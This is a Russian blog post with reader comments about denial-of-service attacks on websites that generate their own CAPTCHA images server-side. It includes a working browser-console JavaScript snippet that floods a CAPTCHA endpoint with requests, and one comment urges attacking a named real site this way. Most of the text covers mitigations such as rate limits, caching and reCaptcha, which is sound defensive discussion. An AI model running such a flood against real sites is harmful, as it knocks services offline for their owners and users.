DoS-атака на сайты с собственными капчами

Можно найти достаточно много сайтов, которые защищены от разного рода внешней нежелательной автоматической активности (ботов) при помощи капч. Причем во многих случаях генерированием этих самых капч занимается тот же сервер, на котором и расположен сайт. Прикрутить такую капчу на сайт очень просто, да и есть бесплатные капча-генерирующие библиотеки (KCAPTCHA, например).

В чем опасность?

Если есть вероятность, что у вашего сайта появятся недруги (например, вы — владелец www.piratepay.ru), то, используя такую капчу, вы рискуете им сильно помочь — становится очень легко вывести сайт из строя используя даже один клиентский компьютер.

Почему?


Генерация капчи — дело довольно ресурсоемкое, особенно если учесть, что этим занимается PHP (или другой не очень приспособленный для обработки изображений язык).

Например в упомянутой выше KCAPTCHA картинка собирается из фрагментов заранее растеризованного шрифта (который хранится в виде картинки), например:



Всего таких файлов шрифтов несколько (в стандартной «поставке» — 22), при каждом запросе просматривается директория и выбирается один из файлов случайным образом.

После склеивания случайно выбранных символов происходит их искажение. В данном случае используется фильтр wave distortion (волновое искажение), написанный на PHP + GD2.

for($x=0;$x<$width;$x++){
  for($y=0;$y<$height;$y++){
    $sx=$x+(sin($x*$rand1+$rand5)+sin($y*$rand3+$rand6))*$rand9-$width/2+$center+1;
    $sy=$y+(sin($x*$rand2+$rand7)+sin($y*$rand4+$rand8))*$rand10;

    if($sx<0 || $sy<0 || $sx>=$width-1 || $sy>=$height-1){
      continue;
    }else{
      $color=imagecolorat($img, $sx, $sy) & 0xFF;
      $color_x=imagecolorat($img, $sx+1, $sy) & 0xFF;
      $color_y=imagecolorat($img, $sx, $sy+1) & 0xFF;
      $color_xy=imagecolorat($img, $sx+1, $sy+1) & 0xFF;
    }

    /* ... */

    imagesetpixel($img2, $x, $y, imagecolorallocate($img2, $newred, $newgreen, $newblue));
  }
}


Т.е. все это происходит довольно медленно. Никакого кэширования по умолчанию не предусмотрено. Тоже самое касается и многих других библиотек (включая «форумные»: phpBB, vBulletin и т.п.)

Если запросов на генерацию капчи будет приходить много, то сервер не будет успевать рисовать капчи и отдавать обыкновенные страницы (особенно учитывая то, что чаще всего сайт работает на какой-либо CMS и кэширование по разным причинам выключено).

Атака


В простейшем случае достаточно в любимом браузере перейти на сайт (чтобы на всякий случай referer был правильный), открыть отладчик javascript и написать в консоль что-то вроде:

cnt = document.getElementById('content'); /* любой элемент с id */
regen = function() {
  var html = '';
  for (var i = 0; i < 1000; i++) {
    html +=
      '<img src="http://www.somesite.com/kcaptcha/index.php?' /*источник капчи */
      + Math.random() + '" />'; 
  }
  cnt.innerHTML = html;
};
window.setInterval(regen, 10 * 1000);
regen();

/* следующее — просто украшательство, для того, чтобы постоянно видеть низ страницы */
window.setInterval('window.scrollTo(0, document.body.scrollHeight);', 500);


В итоге мы задаром получили многопоточную загрузку бесконечного количества капч (с их генерацией на бедном сервере). Понятно, что не каждый сервер это выдержит, многие (из добровольно проверенных) вываливаются с HTTP Error 503 Service unavailable.

Вывод

Для предотвращения такого рода атаки есть несколько очевидных способов:
  • используйте reCaptcha
  • проверяйте количество запросов капч с каждого IP-ардеса, с одинаковым идентификатором сессии и т.п.
  • держите определенное количество сгенерированных капч в кэше (100, 1000,… — зависит от количества запросов), отдавайте их через что-то быстрое (nginx), периодически перестраивайте кэш
  • используйте надежные текстовые капчи, желательно учитывающие специфику вашего сайта (например, sin(30°) = ...)
  • ваш вариант


P.S. не используйте «форумные» капчи вообще, т.к. они очень слабые — заменяйте их на reCaptcha; если используете текстовые капчи, убедитесь, что количество вариантов достаточно большое.
Share post

Similar posts

AdBlock has stolen the banner, but banners are not teeth — they will be back

More
Ads

Comments 59

    –1
    Ну или нужно вынести генерацию капч на отдельный сервер (VPS)
      +3
      Может не помочь, если досить сервер генерации капч — основной сервер не получит капчи и не выполнит своего назначения (пользователи не войдут, оплаты не пойдут, что-то еще, итого тоже отказ)…
        +4
        Согласитесь, это не так страшно, как полный отказ сервера. Да и на этот случай капчу вообще можно отключить. Или иметь два сервера.
          +2
          Пожалуй вы правы.
            +1
            А тот случай, когда при ошибке ввода пароля для входа нужна капча, и чтобы забрутфорсить пароли, параллельно запустили DoS, чтобы убрать капчу?
              +1
              Чушь. Ну разгадают пару паролей пользователей. А вот заспамить конечно могут. Но ДДОС на то и ДДОС чтобы от него защищаться. Опять же надо иметь второй сервер капч который именно в этот момент включится. + защищаться надо конечо.
                0
                Второй, третий, сотый. Вы наверняка представляете себе затраты на формирование HTTP запроса и затраты на формирование каптчи. Таким манером можно с ноутбука через Tor/прокси положить немало атакуемых серверов каптчи.
            +3
            Как вариант, делать очередь генерации капчи и кэш. Если очередь переполнена — возвращать случайную из кэша. Это не слишком хороший вариант, но позволит избежать отказа в использовании.
            –2
            ddd
              0
              Всего лишь нужно больше запросов, и направить их на второй сервер. Соревнование пушки и брони — решение вида «а они пока не достаточно круты».

              У атакующих, разумеется, свои методы увеличить интенсивность запросов — так что итерация «кто-кого» имеет шанс повториться еще не раз и не два…
              +9
              reCaptcha не такое уж добро, вводить в два раза больше текста, да и не читается иногда…
              Исключая конечно тот замечательный факт что уже не ваш сервер ее генерит
                +18
                Я лично угадываю reCaptcha раза с 5го.
                  +13
                  то ли дело на рапидшаре котята в свое время были… :)
                    +2
                    А мне нравилась каптча с котятами...)
                      +9
                      Баттерс?
                  +4
                  Зачем в два-то? В рекапче можно только одно слово вводить.
                    +1
                    reCaptcha внешний сервис и так-же может быть недоступным. Все мы помним, как на яндексе была авария и все резко начали звонить операторам с фразами не работает инет… Доверяй только себе! надо иметь кеш. в банке хранить название картинки и текст и по базе проверять. Кеш перегенерировать раз в сутки например.
                      –1
                      В рекапче есть кнопка refresh, если есть сомнения в читаемости.
                      +9
                      Блокировать таких умников надо. Если с нескольких IP всего стучатся, то что-то на основе
                      nginx limit_zone $arg_PHPSESSID + limit_conn
                      может помочь.

                        +3
                        Ага, правильно настроенный fail2ban спасет отца русского DDOS
                        0
                        В модуле для Коханы есть возможность делать проверку на кол-во неверных ответов, как еще один из способов предотвращения атаки:

                        if ($captcha->invalid_count() >= Kohana::config('captcha.max_invalid_count'))
                        {
                        	throw new HTTP_Exception_403;
                        }
                        
                          0
                          Как это поможет от 1000 запросов в секунду картинки с каптчей?
                            0
                            Вам ответ ниже, промахнулся.
                          +2
                          Дело не доходит до ресурсоемкой генерации картинки-капчи.
                            +5
                            Так ответ то никто и не вводит. Количество неверных ответов равно 0. Или там как то по другому считается?
                              +1
                              Так и картинку никто не генерит. На запрос получения картинки быстренько генерится HTTP 403.
                                0
                                Давайте по порядку.
                                Я хочу ввести каптчу
                                для этого делаю запрос к картинке, получаю, ничего не ввожу
                                делаю запрос к картинке, получаю и т.д.
                                в какой момент мне 403 вернётся?
                                  0
                                  Не вникая в подробности счисления количества неверных попыток ввода каптчи, рискну предположить, что запрос к картинке считается за попытку, что совершенно нормально, если человек пытается подобрать ту, которую сможет понять. Установка лимита, скажем, в 10 попыток должна будет отсеять атакующих и умственно отсталых.
                            +1
                            Nginx перед индейцем и

                            limit_conn one 5;

                            И пусть хоть задолбется…
                              0
                              Сильно загруженные картинками сайты будут с Вами несогласны
                                0
                                Вполне возможно, 5-ку можно увеличить по своим потребностям.
                                Результат один — большее кол-во коннектов не пройдет от одного скрипткиддиса. Итог — ДоСа не будет.
                                  +6
                                  В разные локейшены разнести статику и генерацию капчи
                                +2
                                Предлагаю вернутся к истоку вопроса о капче. То что сервис посещают боты и обходят механизмы защиты — проблема программиста, а не пользователя.

                                Капча была придумана как защита от ботов. В статье же мы видим, как капча может убить сервис. Так ли нужна она на самом деле? Может просто стоит полностью отказатся от капчи?
                                Давайте попробуем решить вопрос.

                                Чем больше посещаемость сервиса, тем меньше капча на нашем сервере будет спасать от ботов. Потому что найдутся и кто просто хочет все поломать, со временем найдутся и специально заточенные антикапчи — ресурс то популярный.

                                В этой ситуации спасет свой велосипед. Учитывая специфику сервиса, можно подготовить умное решение, которое не будет затрагивать интересы пользователя, не будет перекладывать на него обязанности программиста. Хитрых решений много на хабре: флеш, Js, анализ активности и прочие, и прочие.

                                Но изобретать свой веловипед дорого. Дорого, потому что это время программиста, которое должно оплачиватся. И на начальном этапе, когда сервис только запустился, просто нет денег, чтобы делать свою умную защиту.

                                Тут нам на помощь приходит reCaptcha или решение программиста чистить базу данных ручками и не ставить вообще никакой защиты.

                                Так что вот мои выводы:
                                Для новых версисов или рекапча, или ничего
                                Для популярных сервисов — свое решение, которое не заставляет пользователей делать лишние движения.

                                И вот еще одна мысль пришла. Например, мы используем решение на флеше или JS. А ведь не у всех пользователей есть JS и флеш. Может мы начнем терять пользователей? Никак нет. Ведь никто не измерял, сколько пользователей мы теряли на том, что они не могут ввести капчу, потому что она дурная и настройки выкручены по максимому. Может активность наоборот станет больше? А может и не станет.
                                Вывод: пока не попробуешь — не узнаешь.
                                  +2
                                  Я тут вспомнил, как пытался на сервер без иксов скачать Java7 с сайта Oracle. Кастрировать надо за такие решения, фильтрация запросов — это дело веб-сервера, а не клиентского JS/Flash.

                                  А джаву пришлось через друга перекачивать туда, ибо ничто консольное без JS не смогло скачать.

                                  Может мы начнем терять пользователей? Никак нет. Ведь никто не измерял, сколько пользователей мы теряли на том, что они не могут ввести капчу, потому что она дурная и настройки выкручены по максимому.
                                  Как минимум, поисковые боты будут обходить такой сайт стороной, ибо он ничего им не возвращает
                                    0
                                    Сами способы защиты — это всегда выбор разработчика. Если он сможет настроить веб сервер для фильтрации запросов — это круто. А если не сможет?

                                    И при чем здесь поисковые боты? Мы же говорили про защиту от спам ботов и защиту от отказа в обслуживании.
                                      0
                                      И при чем здесь поисковые боты? Мы же говорили про защиту от спам ботов и защиту от отказа в обслуживании.
                                      Они при том, что если вводить защиту на JS/Flash для обычных страниц, то поисковые боты не смогут получить с них информацию.
                                        +1
                                        Они также не смогут с них получить информацию, если они защищены капчей
                                  0
                                  Я для своего скрипта написал более простое решение: вопрос — ответ.
                                  Админ создает в админке список вопросов и ответов на них, в таком случаи нагрузка минимальная на сервер и защита, на мой взгляд, довольно надежная, т.к. список у каждого будет уникален, если конечно не будет вопросов типо 2+2 =?
                                  А насчёт рекапчи — защита может и хорошая, но она отсеивает не только ботов, но и людей ) Иногда приходится раз по 10 обновлять капчу, чтобы наконец-то зарегистрироваться на сайте, что уж говорить про людей с плохим зрением…
                                    +2
                                    Сделав предварительную выборку вариантов, можно получить большинство ответов и заранее добавить в бота ответы на них.
                                    Если число вопросов не стремится к бесконечности, то это совсем несерьезная капча.
                                      0
                                      База должна быть очень большой, т.к. варианты ответов могут быть не такими банальными и глобальными как «кто президент РФ», а направлены на конкретную тематику сайта, например вопрос о сериале или аниме героях и т.п.
                                        +1
                                        Наполнять руками тысячи варианов — не благодарный труд. А ведь их еще и обновлять надо регулярно.
                                          +1
                                          Зачем тысяча? Если, как я сказал, будет сайт по определенной тематике, например, аниме, то достаточно указать 10-20 вопросов связанных с данной тематикой и обновлять раз в несколько месяцев, а то и год (всё зависит от ботов).
                                            +1
                                            Так я о том, что автору бота достаточно в таком случае до 100 раз обратиться к капче, чтобы получить большинство вопросов. И в боте сохранить словарик «вопрос» => «ответ». Еще и сохранять ненайденные вопросы.
                                            Корректировка бота под такую капчу будет занимать меньше времени, чем наполнение вопросами, особенно если этот зловред «в теме» тематики сайта.
                                              0
                                              Он получит только вопросы, ответы нужно будет самому составлять и атака уже будет нацеленной, а против такого практически любую капчу можно обойти.
                                              Но суть вопроса-ответа именно в том, чтобы избежать попадания сайта под ботов нацеленных на различные сайты с теми же рекапчами или Kcaptcha.
                                                0
                                                Сложнее реализовать распознавание произвольной капчи, нежели самому ответить на несколько понятных вопросов.
                                                Имхо, капча должна поддерживать максимально большое число вариантов ответов. Понятно, что если бот ожидает recaptcha, а ему подсовывают текстовый вопрос, он офигеет. А при настройке бота толку от вопросов не будет никакого.
                                                  0
                                                  Идеально тогда и то и то использовать)
                                                  В настройка модуля у меня есть возможность включения как вопроса-ответа, так и Kcaptcha. Хотел рекапчу поставить, но по мне так — она больше людей отсеивает, чем ботов.
                                                    0
                                                    Никогда не сталкивался с такой статистикой.
                                                    А recaptcha используется для распознавания в помощь автоматическим системам, не только же для «теста Тьюринга».
                                    0
                                    Собсно как раньше предлагаю положиться на асиметричные задачки можно предварительно посчитанные т.е. отдаем клиенту яваскрипт который пару секунд считаться будет, результатом будет адрес капчи, при неправильном подсчете капчу не отдаем тоже.
                                      0
                                      Например даем клиенту массив цифирек-ключей, и предлагаем их собрать чтоб получилась еще одна цифирька, ключи привязанные к правильным цифирькам и будут искомым адресом, ну это конечно совсем упрощенно можно еще каждую цифрь в квадрате отдать, а если еще и дробную так вобще красота, или ответ задачки является вопросом к следующей и так в цикле от 1 до 10000…
                                      0
                                      Давайте устроим ддос на сайт rubet (тот самый который типо «как обыграть казино») у них капча генерируется по ссылке rubet.com/antibot.aspx?t=tak_vam-I-nado
                                      ну честное слово достала их реклама, ну ладно бы просто открывалась, так она и ещё и говорить начинает «вас приветствует сайт рубет»…
                                      (за мной уже выехали?)
                                        +2
                                        Санитары? :)
                                        +2
                                        И чем это отличается от запросов к любому другому «тяжёлому» скрипту — например, поиску? Зато какой громкий заголовок)
                                          0
                                          По-моему, капча выделяется среди других тяжелых запросов тем, что:
                                          • она сразу бросается в глаза — легко обнаружить (в отличие от долго выполняющегося SQL, например, который можно принять за сетевой лаг)
                                          • она гарантировано ресурсоемкая (MySQL, как правило, кеширует запросы)
                                          • очень легко использовать уязвимость (нет необходимости писать что-то сложное)
                                          • это не занимает много ресурсов (в отличие от 1000 iframe'ов для POST запросов)

                                          Поэтому отдельно про капчу.

                                          А заголовок — самый обычный, это действительно DoS, действительно возможность атаки. Просто хотелось обратить внимание на эту потенциальную опасность.
                                          0
                                          а почему капчи нельзя нагенерить программкой на плюсах + хранить некоторый пул, скажем пару миллионов уже сгенеренных каптч (да, несколько гигов займет — но это много?), и использовать его, если генерация новой не укладывается в определенное время?
                                            0
                                            раньше у depositfiles было много картинок с капчей, но появилась программа (Universal Share Downloader) которая на отлично справлялась с распознанием этой капчи всего лишь по названию .jpg фаила…
                                              0
                                              не знал, но звучит логично. конечно же — имя файла не должно повторяться, хотя в случае «пары миллионов» картинок, надо еще постараться, чтобы каждую увидели хотя бы один раз.
                                            –1
                                            Скрытая реклама piratepay.ru?
                                              0
                                              Мне тут подсказали, что можно сгенерировать картинки капчи заранее и хранить названия файлов + соответствующий текст в БД.
                                                0
                                                Мой вариант: не используйте капчу вообще.

                                                Only users with full accounts can post comments. Log in, please.